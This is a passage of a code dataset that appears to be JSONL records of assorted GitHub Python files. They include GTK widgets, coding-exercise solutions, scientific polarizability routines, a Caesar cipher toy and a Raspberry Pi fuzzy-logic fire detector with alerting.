+{"seq_id":"39328375916","text":"import gtk\nimport gobject\nimport wid_int\nimport rpc\nimport tools\n\nclass selection(wid_int.wid_int):\n def __init__(self, name, parent, attrs={}, model=None, screen=None):\n wid_int.wid_int.__init__(self, name, parent, attrs, screen)\n\n self.widget = gtk.combo_box_entry_new_text()\n self.widget.child.set_editable(True)\n self.attrs = attrs\n self._selection = []\n self.name = name\n self.val_id = False\n if 'selection' in attrs:\n self.set_popdown(attrs.get('selection',[]))\n if self.default_search:\n if self.attrs['type'] == 'many2one':\n self._value_set(int(self.default_search))\n else:\n self._value_set(str(self.default_search))\n if self.widget.child.get_text() in [x for x,y in self._selection]:\n self.widget.set_active(self.indexes[self.widget.child.get_text()]-1)\n\n def set_popdown(self, selection):\n self.model = self.widget.get_model()\n self.model.clear()\n self._selection = []\n lst = []\n for (i,j) in selection:\n name = str(j)\n lst.append(name)\n self._selection.append((name,i))\n ind=1\n if '' not in [x for x,y in self._selection]:\n self.widget.append_text('')\n ind += 1\n self.indexes = {}\n for l in lst:\n self.widget.append_text(l)\n self.indexes[l] = ind\n ind += 1\n return lst\n\n def sig_key_press(self, widget, event):\n completion=gtk.EntryCompletion()\n completion.set_inline_selection(True)\n if (event.type == gtk.gdk.KEY_PRESS) \\\n and ((event.state & gtk.gdk.CONTROL_MASK) != 0) \\\n and (event.keyval == gtk.keysyms.space):\n self.entry.popup()\n elif not (event.keyval==65362 or event.keyval==65364):\n completion.set_model(self.model)\n widget.set_completion(completion)\n completion.set_text_column(0)\n\n # Setting the selected value active on the entry widget while selection is made by keypress\n result = [y for x,y in self._selection if x==widget.get_text()]\n if result:\n # to let this value count into domain calculation\n self.widget.set_active(self.indexes[widget.get_text()])\n\n def _value_get(self):\n res = self.widget.child.get_text()\n context = {}\n operator = 'ilike'\n result = [y for x,y in self._selection if x==res]\n if result:\n res = result[0]\n operator = self.attrs.get('operator','=')\n context = tools.expr_eval(self.attrs.get('context',\"{}\"), {'self':res})\n if res:\n return {\n 'domain':[(self.name,operator,res)],\n 'context': context\n }\n return {}\n\n def _value_set(self, value):\n if value==False:\n value=''\n for text,val in self._selection:\n if val == value:\n self.widget.child.set_text(text)\n\n def clear(self):\n self.widget.child.set_text('')\n\n def grab_focus(self):\n return self.widget.child.grab_focus()\n\n value = property(_value_get, _value_set, None,\n _('The content of the widget or ValueError if not valid'))\n\n def _readonly_set(self, value):\n self.widget.set_sensitive(not value)\n\n# vim:expandtab:smartindent:tabstop=4:softtabstop=4:shiftwidth=4:\n\n","repo_name":"xrg/openerp-client","sub_path":"bin/widget_search/selection.py","file_name":"selection.py","file_ext":"py","file_size_in_byte":3473,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"1"}
+{"seq_id":"25588907628","text":"# Exercise Address https://www.acmicpc.net/problem/2577\nfrom collections import Counter\n\ndef countOfNumber():\n multiArray = []\n for i in range(len(multi)):\n multiArray += multi[i]\n\n result = Counter(multiArray)\n\n for j in range(10):\n if(str(j) in result):\n print(result[str(j)])\n else:\n print(0)\n\nif __name__ == \"__main__\":\n A = int(input())\n B = int(input())\n C = int(input())\n if(A > 100 and A <= 1000):\n print('A의 범위를 잘못입력하셨습니다.')\n if(B > 100 and B <= 1000):\n print('B의 범위를 잘못입력하셨습니다.')\n if(C > 100 and C <= 1000):\n print('C의 범위를 잘못입력하셨습니다.')\n\n multi = str(A * B * C)\n\n countOfNumber()\n","repo_name":"syjkim0125/python_algorithm","sub_path":"countOfNumber.py","file_name":"countOfNumber.py","file_ext":"py","file_size_in_byte":767,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"1"}
+{"seq_id":"42236053401","text":"import fcntl\nimport boto3\nimport json\nimport os\n\ndef set_statics(variable):\n table = os.environ.get('DynamoDBGlobalTableRef')\n dynamodb = boto3.resource('dynamodb', region_name='eu-central-1')\n\n table_ref = dynamodb.Table(table)\n\n response = table_ref.update_item(\n Key={\n 'variables': 'd'\n },\n UpdateExpression='SET aVariable = :newStaticsJson',\n ExpressionAttributeValues={\n ':newStaticsJson': json.dumps(variable)\n },\n ReturnValues=\"UPDATED_NEW\"\n )\n\ndef lambda_handler(event, context):\n\n ###statics initializer\n d = float(event[\"Input\"][\"d\"])\n ###statics initializer end\n\n set_statics(d)\n\n ###statics assigner\n return float(d)\n ###statics assigner end","repo_name":"HAWMobileSystems/SFLPublic","sub_path":"example-sfl-definitions/benchmarks/empty-example/global/dynamodb/stateful-app-2021-12-05-21-55-57/functions/Setd/Setd.py","file_name":"Setd.py","file_ext":"py","file_size_in_byte":754,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"1"}
+{"seq_id":"23243230315","text":"def armstrogFind(num):\n length = len(str(num))\n newNum = 0\n for i in range(length):\n single_num = num%10 \n newNum += single_num**length\n # num = int(num/10) # or use num = num//10\n num = num//10\n return newNum\n \nfor i in range(10,1000):\n fucNum = armstrogFind(i+1)\n if i+1 == fucNum:\n print(fucNum )","repo_name":"CoddingwithPranav/Python_Projects","sub_path":"Armstrong.py","file_name":"Armstrong.py","file_ext":"py","file_size_in_byte":355,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"1"}
+{"seq_id":"35414178437","text":"import numpy as np\nfrom adcc.adc_pp import modified_transition_moments\nfrom adcc.workflow import construct_adcmatrix\n\nfrom .cpp_algebra import ResponseVector\nfrom .misc import select_property_method\nfrom .solve_response import solve_response\n\n_comps = [\"x\", \"y\", \"z\"]\n\n\ndef static_polarizability(data_or_matrix, method=None, **solver_args):\n \"\"\"\n Compute the static polarizability of the electronic\n ground state.\n \"\"\"\n matrix = construct_adcmatrix(data_or_matrix, method=method)\n property_method = select_property_method(matrix)\n hf = matrix.reference_state\n mp = matrix.ground_state\n dips = hf.operators.electric_dipole\n rhss = modified_transition_moments(property_method, mp, dips)\n response = [solve_response(matrix, rhs, 0.0, gamma=0.0, **solver_args) for rhs in rhss]\n\n polarizability = np.zeros((3, 3))\n for A in range(3):\n for B in range(A, 3):\n polarizability[A, B] = 2.0 * response[B] @ rhss[A]\n polarizability[B, A] = polarizability[A, B]\n return polarizability\n\n\ndef real_polarizability(data_or_matrix, method=None, omega=0.0, **solver_args):\n \"\"\"\n Compute the real polarizability of the electronic\n ground state.\n \"\"\"\n if omega == 0.0:\n # dispatch to static polarizability\n return static_polarizability(data_or_matrix, method, **solver_args)\n\n matrix = construct_adcmatrix(data_or_matrix, method=method)\n property_method = select_property_method(matrix)\n hf = matrix.reference_state\n mp = matrix.ground_state\n dips = hf.operators.electric_dipole\n\n rhss = modified_transition_moments(property_method, mp, dips)\n response_positive = [\n solve_response(matrix, rhs, omega, gamma=0.0, **solver_args) for rhs in rhss\n ]\n response_negative = [\n solve_response(matrix, rhs, -omega, gamma=0.0, **solver_args) for rhs in rhss\n ]\n\n polarizability = np.zeros((3, 3))\n for A in range(3):\n for B in range(A, 3):\n polarizability[A, B] = response_positive[B] @ rhss[A] + response_negative[B] @ rhss[A]\n polarizability[B, A] = polarizability[A, B]\n return polarizability\n\n\ndef complex_polarizability(data_or_matrix, method=None, omega=0.0, gamma=0.0, **solver_args):\n \"\"\"\n Compute the complex frequency-dependent polarizability of the electronic\n ground state.\n \"\"\"\n # TODO: allow for multiple frequencies from outside, multi-frequency solver\n matrix = construct_adcmatrix(data_or_matrix, method=method)\n property_method = select_property_method(matrix)\n hf = matrix.reference_state\n mp = matrix.ground_state\n dips = hf.operators.electric_dipole\n\n rhss = modified_transition_moments(property_method, mp, dips)\n response_positive = [\n solve_response(matrix, ResponseVector(rhs), omega, gamma, **solver_args) for rhs in rhss\n ]\n if omega == 0.0:\n response_negative = response_positive\n else:\n response_negative = [\n solve_response(matrix, ResponseVector(rhs), -omega, gamma, **solver_args)\n for rhs in rhss\n ]\n\n polarizability = np.zeros((3, 3), dtype=complex)\n for A in range(3):\n for B in range(A, 3):\n rsp_pos = response_positive[B]\n rsp_neg = response_negative[B]\n polarizability.real[A, B] = rsp_pos.real @ rhss[A] + rsp_neg.real @ rhss[A]\n polarizability.imag[A, B] = rsp_pos.imag @ rhss[A] - rsp_neg.imag @ rhss[A]\n polarizability[B, A] = polarizability[A, B]\n return polarizability\n\n\ndef one_photon_absorption_cross_section(polarizability, omegas):\n isotropic_avg_im_alpha = 1.0 / 3.0 * np.trace(polarizability.imag, axis1=1, axis2=2)\n return 4.0 * np.pi / 137.0 * omegas * isotropic_avg_im_alpha\n\n\ndef c6_dispersion_coefficient(data_or_matrix, method=None, **solver_args):\n \"\"\"\n Compute the ground state C6 dispersion coefficient by quadrature\n \"\"\"\n points, weights = np.polynomial.legendre.leggauss(12)\n w0 = 0.3\n freqs = w0 * (1 - points) / (1 + points)\n alphas_iso = []\n\n # for efficiency\n matrix = construct_adcmatrix(data_or_matrix, method=method)\n for w in freqs:\n pol = complex_polarizability(matrix, method=method, omega=0.0, gamma=w, **solver_args)\n alphas_iso.append(1.0 / 3.0 * np.trace(pol.real))\n alphas_iso = np.array(alphas_iso)\n derivative = w0 * 2 / (1 + points) ** 2\n integral = np.sum(alphas_iso * alphas_iso * weights * derivative)\n c6 = 3.0 * integral / np.pi\n return c6\n","repo_name":"gator-program/respondo","sub_path":"respondo/polarizability.py","file_name":"polarizability.py","file_ext":"py","file_size_in_byte":4508,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"1"}
+{"seq_id":"32631873603","text":"# Copyright (c) 2001- Atsuo Ishimoto\r\n# See LICENSE for details.\r\n\r\nimport wnd\r\n\r\n\r\nclass _CompleteCombo(object):\r\n def _prepare(self, kwargs):\r\n super(_CompleteCombo, self)._prepare(kwargs)\r\n self.msglistener.CREATE = self.__onCreate\r\n self.msglistener.EDITCHANGE = self.__onEditChage\r\n \r\n self._docomplete = False\r\n\r\n def __onCreate(self, msg):\r\n self.getEdit().msgproc.KEYDOWN = self.__onEditKeyDown\r\n \r\n def __onEditKeyDown(self, msg):\r\n if msg.key in (wnd.KEY.BACKSPACE, wnd.KEY.DELETE):\r\n self._docomplete = False\r\n else:\r\n self._docomplete = True\r\n return msg.wnd.defWndProc(msg)\r\n \r\n def __onEditChage(self, msg):\r\n s = self.getText()\r\n if not self._docomplete:\r\n return\r\n s = self.getText()\r\n f,t = self.getEditSel()\r\n i = self.selectString(-1, s)\r\n if i == -1:\r\n self.setText(s)\r\n self.setEditSel(f,t)\r\n else:\r\n self.setEditSel(len(s), -1)\r\n\r\n \r\nclass CompleteCombo(_CompleteCombo, wnd.ComboBox):\r\n STYLE = wnd.ComboBox.STYLE(sort=1)\r\n\r\nclass CompleteDropDownCombo(CompleteCombo, wnd.DropDownCombo):\r\n STYLE = wnd.DropDownCombo.STYLE(sort=1)\r\n","repo_name":"atsuoishimoto/pymfc","sub_path":"pymfc/completecombo.py","file_name":"completecombo.py","file_ext":"py","file_size_in_byte":1262,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"1"}
+{"seq_id":"9286450457","text":"import time\r\n\r\nclass Solution(object):\r\n \r\n def reverse(self, x):\r\n \"\"\"\r\n :type x: int\r\n :rtype: int\r\n \"\"\"\r\n \r\n x_str = str(abs(x)) #先取絕對值\r\n reversed_x = x_str[::-1]\r\n \r\n if x >= 0:\r\n ans_int = int(reversed_x) \r\n else:\r\n ans_int = int(reversed_x) * (-1)\r\n \r\n #注意沒有sign可以放到2**32,如果有sign的話只能到+/-2**31\r\n if ans_int>int(2**31) or ans_int str:\r\n\tresult = \"\"\r\n\tfor letter in message:\r\n\t\tif letter in alphabet:\r\n\t\t\tindex = alphabet.index(letter)\r\n\t\t\tindex_shifted = (index + shift) % len(alphabet)\r\n\t\t\tresult += alphabet[index_shifted]\r\n\t\telse:\r\n\t\t\tresult += letter\r\n\treturn result\r\n\r\nmessage_encrypted = encrypt(\"Привет\", 5)\r\nprint(message_encrypted)\r\n\r\n\r\ndef bruteforce_encrypt(message:str, func) -> str:\r\n\tfor i in range(len(alphabet)):\r\n\t\tprint(i, encrypt(message, i * -1))\r\n\r\n\r\nbruteforce_encrypt(message_encrypted, encrypt)\r\n\r\n","repo_name":"Anonymkus/python","sub_path":"cesar.py","file_name":"cesar.py","file_ext":"py","file_size_in_byte":650,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"1"}
+{"seq_id":"10753538874","text":"# author:JinMing time:2020-04-21\n# from config import *\nage=13\nbbb=1323242\n\nffff=4544657\n\nccc=565656\neee=233323\n\nclass ceshiclass:\n\n name='小陈'\n def __init__(self):\n self.age=age\n\n def ceshi(self,id,sex=None):\n id=id\n name=self.name\n age=self.age\n sex=sex\n return f'name={name},age={age},sex={sex}'\n\n @classmethod\n def ceshi2(cls):\n name=cls.name\n return name\n\n @staticmethod\n def ceshi3():\n name=1213\n return name\n\n\n\n\nstr=ceshiclass().ceshi3()\n\n# tt=str.ceshi(1)\nprint(str)\n\n\n","repo_name":"chenjinming580/PycharmProjects","sub_path":"untitled/request23/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":571,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"1"}
+{"seq_id":"43681965891","text":"import re\r\n\r\nfrom utils.file import read_file_content\r\nfrom utils.list import list_equals\r\n\r\n\r\ndef solve_part1(inp: str) -> int:\r\n inp = inp.split(\"\\n\")\r\n requiredAtts = [\"byr\", \"iyr\", \"eyr\", \"hgt\", \"hcl\", \"ecl\", \"pid\"]\r\n curAtts = []\r\n r = 0\r\n for line in inp:\r\n if line == \"\":\r\n # Last line of this passport\r\n if list_equals(curAtts, requiredAtts):\r\n r += 1\r\n curAtts = []\r\n else:\r\n atts = [tuple(atts.split(\":\")) for atts in line.split(\" \")]\r\n for (key, value) in atts:\r\n if key != 'cid':\r\n curAtts.append(key)\r\n\r\n return r\r\n\r\n\r\ndef solve_part2(inp: str) -> int:\r\n inp = inp.split(\"\\n\")\r\n requiredAtts = [\"byr\", \"iyr\", \"eyr\", \"hgt\", \"hcl\", \"ecl\", \"pid\"]\r\n curAtts = []\r\n passDenied = False\r\n eyeColors = [\"amb\", \"blu\", \"brn\", \"gry\", \"grn\", \"hzl\", \"oth\"]\r\n r = 0\r\n for line in inp:\r\n if passDenied:\r\n continue\r\n\r\n if line == \"\":\r\n # Last line of this passport\r\n if list_equals(curAtts, requiredAtts):\r\n r += 1\r\n curAtts = []\r\n passDenied = False\r\n else:\r\n atts = [tuple(atts.split(\":\")) for atts in line.split(\" \")]\r\n for (key, value) in atts:\r\n if key == \"byr\":\r\n if 1920 <= int(value) <= 2002:\r\n curAtts.append(key)\r\n elif key == \"iyr\":\r\n if 2010 <= int(value) <= 2020:\r\n curAtts.append(key)\r\n elif key == \"eyr\":\r\n if 2020 <= int(value) <= 2030:\r\n curAtts.append(key)\r\n elif key == \"hgt\":\r\n type = value[-2:]\r\n if type == \"in\" or type == \"cm\":\r\n size = int(value[:-2])\r\n if (type == \"in\" and 59 <= size <= 76) or (type == \"cm\" and 150 <= size <= 193):\r\n curAtts.append(key)\r\n elif key == \"hcl\":\r\n if re.search(\"^#[0-9a-f]{6}$\", value):\r\n curAtts.append(key)\r\n elif key == \"ecl\" and value in eyeColors:\r\n curAtts.append(key)\r\n elif key == \"pid\":\r\n if re.search(\"^\\d{9}$\", value):\r\n curAtts.append(key)\r\n\r\n return r\r\n\r\n\r\ndef test_part1():\r\n inp = read_file_content(\"inputs/test\")\r\n answer = int(read_file_content(\"inputs/ans1\"))\r\n\r\n result = solve_part1(inp)\r\n if result == answer:\r\n print(\"Test successful\")\r\n else:\r\n print(\"Test unsuccessful: \" + str(result) + \", expected: \" + str(answer))\r\n\r\n\r\ndef test_part2():\r\n inp = read_file_content(\"inputs/test\")\r\n answer = int(read_file_content(\"inputs/ans2\"))\r\n\r\n result = solve_part2(inp)\r\n if result == answer:\r\n print(\"Test successful\")\r\n else:\r\n print(\"Test unsuccessful: \" + str(result) + \", expected: \" + str(answer))\r\n\r\n\r\nif __name__ == '__main__':\r\n\r\n inp = read_file_content(\"inputs/input\")\r\n\r\n print(\" --- Part 1 --- \")\r\n test_part1()\r\n print(\"Part 1 result:\\t\" + str(solve_part1(inp)))\r\n\r\n print(\"\\n --- Part 2 ---\")\r\n test_part2()\r\n print(\"Part 2 result:\\t\" + str(solve_part2(inp)))\r\n","repo_name":"Aeilko/Advent-of-Code-2020","sub_path":"day04/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":3341,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"1"}
+{"seq_id":"35591874275","text":"import time\nimport numpy as np\nimport skfuzzy as fuzz\nfrom skfuzzy import control as ctrl\nimport RPi.GPIO as GPIO\n#import board\nGPIO.setwarnings(False)\nGPIO.setmode(GPIO.BCM)\n#GPIO.setup(23, GPIO.OUT,initial =GPIO.LOW)\n#GPIO.setup(5,GPIO.OUT,initial =GPIO.LOW)\n\n#importing temperature and flame sensor python code\nimport TemperatureSensorReading\nimport FlameSensorReading\nimport GasSensorReading\nimport EmailFireService\nimport Sim800LGSM\nimport SMSTwilio\n\n#fuzzy Domian\n\ntemp = ctrl.Antecedent(np.arange(-40,80, 1), 'temp')\nflame= ctrl.Antecedent(np.arange(-10, 40000, 1), 'flame')\ngas = ctrl.Antecedent(np.arange(0, 40000, 1), 'gas')\noutput = ctrl.Consequent(np.arange(0, 100, 1), 'output')\n\n#fuzzy input\n\n#temperature\ntemp['cold'] = fuzz.trimf(temp.universe, [-40, 10,30])\ntemp['normal'] = fuzz.trimf(temp.universe, [10, 30, 40])\ntemp['hot'] = fuzz.trimf(temp.universe, [30,40, 80])\n\n#flame\nflame['near'] = fuzz.trimf(flame.universe, [0, 500,2000])\nflame['not far'] = fuzz.trimf(flame.universe, [500,2000, 20000])\nflame['far'] = fuzz.trimf(flame.universe, [15000, 20000, 40000])\n\n# gas\ngas['low'] = fuzz.trimf(gas.universe, [0, 500, 800])\ngas['medium'] = fuzz.trimf(gas.universe, [800,900, 1000])\ngas['high'] = fuzz.trimf(gas.universe, [1000, 10000, 40000])\n\n\n#output\noutput['no fire'] = fuzz.trimf(output.universe, [0, 10, 25])\noutput['potential fire'] = fuzz.trimf(output.universe, [25, 40, 55])\noutput['fire'] = fuzz.trimf(output.universe, [55, 75, 100])\n\n\n\ndef fire_detection_Rules():\n Rule1a = ctrl.Rule(\n temp['cold'] & flame['far'] & gas['high'],\n output['potential fire']\n )\n Rule1b = ctrl.Rule(\n temp['cold'] & flame['not far'] & gas['high'], output['potential fire']\n )\n Rule1c = ctrl.Rule(\n temp['cold'] & flame['near'] & gas['high'],\n output['fire']\n )\n Rule1d = ctrl.Rule(\n temp['normal'] & flame['far'] & gas['high'], output['potential fire']\n )\n\n Rule2a =ctrl.Rule(\n temp['normal'] & flame['not far'] & gas['high'], output['fire']\n )\n Rule2b = ctrl.Rule(\n temp['normal'] & flame['near'] & gas['high'],\n output['fire']\n )\n Rule2c = ctrl.Rule(\n temp['hot'] & flame['far'] & gas['high'],\n output['fire']\n )\n Rule2d = ctrl.Rule(\n temp['hot'] & flame['not far'] & gas['high'],\n output['fire']\n )\n Rule3a = ctrl.Rule(\n temp['hot'] & flame['near'] & gas['high'],\n output['fire']\n )\n Rule3b = ctrl.Rule(\n temp['cold'] & flame['far'] & gas['low'],\n output['no fire']\n )\n Rule3c = ctrl.Rule(\n temp['cold'] & flame['not far'] & gas['low'],\n output['no fire']\n )\n Rule3d = ctrl.Rule(\n temp['cold'] & flame['near'] & gas['low'],\n output['potential fire']\n )\n\n Rule4a = ctrl.Rule(\n temp['normal'] & flame['far'] & gas['low'],\n output['no fire']\n )\n Rule4b = ctrl.Rule(\n temp['normal'] & flame['not far'] & gas['low'],\n output['no fire']\n )\n Rule4c = ctrl.Rule(\n temp['normal'] & flame['near'] & gas['low'],\n output['potential fire']\n )\n Rule4d = ctrl.Rule(\n temp['hot'] & flame['far'] & gas['low'],\n output['potential fire']\n )\n\n Rule5a =ctrl.Rule(\n temp['hot'] & flame['not far'] & gas['low'],\n output['fire']\n )\n Rule5b =ctrl.Rule(\n temp['hot'] & flame['near'] & gas['low'],\n output['fire']\n )\n Rule5c =ctrl.Rule(\n temp['cold'] & flame['far'] & gas['medium'],\n output['no fire']\n )\n Rule5d =ctrl.Rule(\n temp['cold'] & flame['not far'] & gas['medium'],\n output['potential fire']\n )\n\n Rule6a =ctrl.Rule(\n temp['cold'] & flame['near'] & gas['medium'],\n output['fire']\n )\n Rule6b =ctrl.Rule(\n temp['normal'] & flame['far'] & gas['medium'],\n output['potential fire']\n )\n Rule6c =ctrl.Rule(\n temp['normal'] & flame['not far'] & gas['medium'],\n output['potential fire']\n )\n Rule6d=ctrl.Rule(\n temp['normal'] & flame['near'] & gas['medium'],\n output['fire']\n )\n\n Rule7a =ctrl.Rule(\n temp['hot'] & flame['far'] & gas['medium'],\n output['potential fire']\n )\n Rule7b =ctrl.Rule(\n temp['hot'] & flame['not far'] & gas['medium'],\n output['fire']\n )\n\n Rule7c =ctrl.Rule(\n temp['hot'] & flame['near'] & gas['medium'],\n output['fire']\n )\n\n\n\n\n return [\n Rule1a, Rule1b, Rule1c, Rule1d,\n Rule2a, Rule2a, Rule2b, Rule2d,\n Rule3a, Rule3b, Rule3c, Rule3d,\n Rule4a, Rule4b, Rule4c, Rule4d,\n Rule5a, Rule5b, Rule5c, Rule5d,\n Rule6a, Rule6b, Rule6c, Rule6d,\n Rule7a, Rule7b, Rule7c\n ]\n\n\n#def deffuzzification():\n## using the centroid defuzzication method\ndefuzzify= ctrl.ControlSystem( fire_detection_Rules())\ndefuzzify_output=ctrl.ControlSystemSimulation(defuzzify)\nstatus=\"\"\ntemp =\"\"\ngas=\"\"\nflame=\"\"\n\n\nwhile True:\n try:\n start_time = time.time()\n temp=TemperatureSensorReading.temperature()\n gas=GasSensorReading.GasSensor()\n flame=flameSensorGas.FlameSensor()\n defuzzify_output.input['temp'] = temp\n defuzzify_output.input['flame'] =flame\n defuzzify_output.input['gas'] =gas\n print('temperature value is: '+ \" \", temp)\n print('gas value is: '+ \" \", gas)\n print('flame value is: '+ \" \", flame)\n defuzzify_output.compute()\n rounded_output =round(defuzzify_output.output['output'])\n print(round_output)\n\n if rounded_output <=40:\n # GPIO.output(5,GPIO.HIGH)\n status='no fire'\n print(status)\n time.sleep(2.0)\n elif (rounded_output >=41) & (rounded_output<=50):\n status='potential fire'\n print(status)\n time.sleep(2.0)\n else:\n status= 'fire'\n print(status)\n import Buzzer\n SMSTwilio.Twiliosms()\n EmailFireService.sendEmail()\n Sim800LGSM.sendSms()\n import urllib.parse\n import urllib.request\n url = 'http://20.90.108.172/Capstone_WebApp/addsensor.php'\n values = { 'status':status}\n\n data = urllib.parse.urlencode(values)\n data = data.encode('ascii') # data should be bytes\n req = urllib.request.Request(url, data)\n print('submitted')\n print(\"--- %s seconds ---\" % (time.time() - start_time))\n with urllib.request.urlopen(req) as response:\n the_page = response.read()\n #sleep for 30 seconds when fire is detected\n time.sleep(30.0)\n\n except RuntimeError as error:\n # Errors happen fairly often, DHT's are hard to read, just >\n print(error.args[0])\n time.sleep(2.0)\n continue\n except Exception as error:\n dhtDevice.exit()\n raise error\n time.sleep(2.0)\n\n\n \n\n\n\n","repo_name":"BrightJ728/BrightMaryCapstone","sub_path":"FuzzyLogic.py","file_name":"FuzzyLogic.py","file_ext":"py","file_size_in_byte":6974,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"1"}
+{"seq_id":"30058170370","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Feb 06 15:22:52 2015\n\n@author: nfette\n\"\"\"\n\nCelsiusConstants = (273.15, 1.0)\n\ndef CelsiusToKelvin(TC):\n return TC + CelsiusConstants[0]\n \ndef KelvinToCelsius(TK):\n return TK - CelsiusConstants[0]\n \ndef COP_cooling_reversible(T_ei, T_ci, T_hi):\n \"\"\"Inputs: absolute temperatures in ascending order.\n \"\"\"\n return (T_ei / T_hi) * (T_hi - T_ci) / (T_ci - T_ei)\n \ndef COP_heating_reversible(T_ei, T_ci, T_hi):\n \"\"\"Inputs: absolute temperatures in ascending order.\n \"\"\"\n return 1. + COP_cooling_reversible(T_ei, T_ci, T_hi)\n \ndef COP_cooling_partial_Tei(T_ei, T_ci, T_hi):\n return (1 / T_hi) * (T_hi - T_ci) / (T_ci - T_ei) \\\n + (T_ei / T_hi) * (T_hi - T_ci) / (T_ci - T_ei) ** 2\n \ndef COP_cooling_partial_Tci(T_ei, T_ci, T_hi):\n return (T_ei / T_hi) * (-1.) / (T_ci - T_ei) \\\n - (T_ei / T_hi) * (T_hi - T_ci) / (T_ci - T_ei)**2\n\ndef COP_cooling_partial_Thi(T_ei, T_ci, T_hi):\n return (-T_ei / T_hi**2) * (T_hi - T_ci) / (T_ci - T_ei) \\\n + (T_ei / T_hi) * (1.) / (T_ci - T_ei)\n\ndef main(me,save=False):\n import numpy as np\n import matplotlib.pyplot as plt\n import matplotlib \n \n plt.close('all')\n matplotlib.rcParams.update({'font.size':11})\n \n # Part a\n plt.figure(1)\n \n Tei, Tci, Thi = 5, 30, 90 # °C\n Tei, Tci, Thi = map(CelsiusToKelvin, (Tei, Tci, Thi))\n COP = COP_cooling_reversible (Tei,Tci,Thi)\n COPe = COP_cooling_partial_Tei(Tei,Tci,Thi)\n COPc = COP_cooling_partial_Tci(Tei,Tci,Thi)\n COPh = COP_cooling_partial_Thi(Tei,Tci,Thi)\n print(Tei,Tci,Thi, COP, COPe, COPc, COPh)\n \n DeltaT = np.linspace(-60,60,51)\n TTe = Tei + DeltaT\n TTc = Tci + DeltaT\n TTh = Thi + DeltaT\n \n COP_vary_E = COP_cooling_reversible(TTe, Tci, Thi)\n COP_vary_C = COP_cooling_reversible(Tei, TTc, Thi)\n COP_vary_H = COP_cooling_reversible(Tei, Tci, TTh)\n \n plt.semilogy(DeltaT, COP_vary_E, '-o', label=\"Varying Evaporator (lowest)\", markevery=10)\n plt.semilogy(DeltaT, COP_vary_C, '-d', label=\"Varying Condensor (middle)\", markevery=10)\n plt.semilogy(DeltaT, COP_vary_H, '-s', label=\"Varying Heat input (highest)\", markevery=10)\n \n plt.xlabel(\"Temperature adjustment $\\Delta T$ [K]\")\n plt.ylabel(\"Reversible cooling COP\")\n plt.legend()\n plt.ylim(0.1,100)\n\n if save: \n plt.savefig('../img/{}.figure{}.png'.format(me,plt.gcf().number))\n else:\n plt.show()\n \n plt.figure(2)\n \n DeltaT = np.linspace(-59,59,52)\n TTe = Tei + DeltaT\n TTc = Tci + DeltaT\n TTh = Thi + DeltaT\n COP_vary_E = COP_cooling_reversible(TTe, Tci, Thi)\n COP_vary_C = COP_cooling_reversible(Tei, TTc, Thi)\n COP_vary_H = COP_cooling_reversible(Tei, Tci, TTh) \n dCOPdE = COP_cooling_partial_Tei(TTe, Tci, Thi)\n dCOPdC = COP_cooling_partial_Tci(Tei, TTc, Thi)\n dCOPdH = COP_cooling_partial_Thi(Tei, Tci, TTh)\n \n DeltaT_midpoints = 0.5 * (DeltaT[1:] + DeltaT[:-1])\n dCOPdE_numerical = np.diff(COP_vary_E) / np.diff(DeltaT)\n dCOPdC_numerical = np.diff(COP_vary_C) / np.diff(DeltaT)\n dCOPdH_numerical = np.diff(COP_vary_H) / np.diff(DeltaT) \n \n plt.plot(DeltaT, dCOPdE, 'b', label=\"Varying Evaporator (lowest)\", markevery=10)\n plt.plot(DeltaT, dCOPdC, 'g', label=\"Varying Condensor (middle)\", markevery=10)\n plt.plot(DeltaT, dCOPdH, 'r', label=\"Varying Heat input (highest)\", markevery=10)\n plt.plot(DeltaT_midpoints, dCOPdE_numerical, 'o', markevery=10)\n plt.plot(DeltaT_midpoints, dCOPdC_numerical, 'd', markevery=10)\n plt.plot(DeltaT_midpoints, dCOPdH_numerical, 's', markevery=10)\n \n plt.gca().axhline(0,color='k',ls='--')\n plt.xlabel(\"Temperature adjustment $\\Delta T$ [K]\")\n plt.ylabel(\"Reversible cooling COP partial derivative [1/K]\")\n plt.legend()\n plt.ylim(-0.2,0.2)\n \n if save:\n plt.savefig('../img/{}.figure{}.png'.format(me,plt.gcf().number))\n else:\n plt.show()\n \nif __name__ == \"__main__\":\n import os\n me = os.path.basename(__file__)\n main(me, save=False)\n","repo_name":"nfette/openACHP","sub_path":"src/hw2_1.py","file_name":"hw2_1.py","file_ext":"py","file_size_in_byte":4082,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"1"}
+{"seq_id":"28504700748","text":"\"\"\"\n\nGiven an array of N positive integers, print k largest elements from the array. \n\nExample 1:\n\nInput:\nN = 5, k = 2\narr[] = {12,5,787,1,23}\nOutput: 787 23\nExplanation: First largest element in\nthe array is 787 and the second largest\nis 23.\nExample 2:\n\nInput:\nN = 7, k = 3\narr[] = {1,23,12,9,30,2,50}\nOutput: 50 30 23\nExplanation: Three Largest element in\nthe array are 50, 30 and 23.\nYour Task:\nComplete the function kLargest() that takes the array, N and K as input parameters and returns a list of k largest element in descending order. \n\nExpected Time Complexity: O(N log K)\nExpected Auxiliary Space: O(K)\n\nConstraints:\n1 ≤ N ≤ 104\nK ≤ N\n1 ≤ array[i] ≤ 105\n\n\"\"\"\n\n\"\"\"\n\nThis method is mainly an optimization of method 1. Instead of using temp[] array, use Min Heap.\n1) Build a Min Heap MH of the first k elements (arr[0] to arr[k-1]) of the given array. O(log(k))\n2) For each element, after the kth element (arr[k] to arr[n-1]), compare it with root of MH. \n……a) If the element is greater than the root then make it root and call heapify for MH \n……b) Else ignore it. \n// The step 2 is O((n-k)*log(k))\n3) Finally, MH has k largest elements and root of the 